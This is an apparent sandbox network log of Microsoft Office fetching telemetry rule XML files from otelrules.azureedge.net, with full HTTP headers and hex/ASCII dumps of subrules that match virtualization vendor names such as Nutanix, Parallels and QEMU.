2024-11-22 00:02:45 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:45 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000245Z-15b8b599d882zv28hC1TEBdchn00000000pg000000000g5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:45 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 906eedcd-201e-0071-4861-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000245Z-178bfbc474bv7whqhC1NYC1fg4000000025g00000000eh65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:45 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 6b17e566-f01e-003f-7a44-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000245Z-15b8b599d88wk8w4hC1TEB14b800000000pg00000000cssp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:45 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5304f1e1-001e-005a-6c6b-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000245Z-178bfbc474bnwsh4hC1NYC2ubs000000028000000000c41z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:47 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:47 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:47 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c2cadd2f-601e-0001-2bab-3bfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000247Z-15b8b599d88tmlzshC1TEB4xpn00000000fg000000005w0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:47 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:47 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:47 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:47 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000247Z-174c587ffdf9xbcchC1TEBxkz400000000hg0000000032gq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:47 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:47 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:48 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:47 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000247Z-15b8b599d889fz52hC1TEB59as00000000r0000000002nyv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:48 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:47 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2145ee07-e01e-003c-0347-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000248Z-15b8b599d885v8r9hC1TEB104g00000000q000000000cv58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:47 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:48 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:48 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c229ce53-501e-008f-23c3-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000248Z-15b8b599d88pxmdghC1TEBux9c00000000tg000000009pc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:48 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:49 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:49 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: d8899c23-b01e-003e-234e-3c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000249Z-15b8b599d88pxmdghC1TEBux9c00000000t000000000au8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:49 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:49 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:49 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 4ad18980-501e-008c-067e-3bcd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000249Z-174c587ffdf89smkhC1TEB697s00000000ng00000000sfux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:49 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:49 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:50 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000250Z-178bfbc474b7cbwqhC1NYC8z4n000000024g000000006x80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:50 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
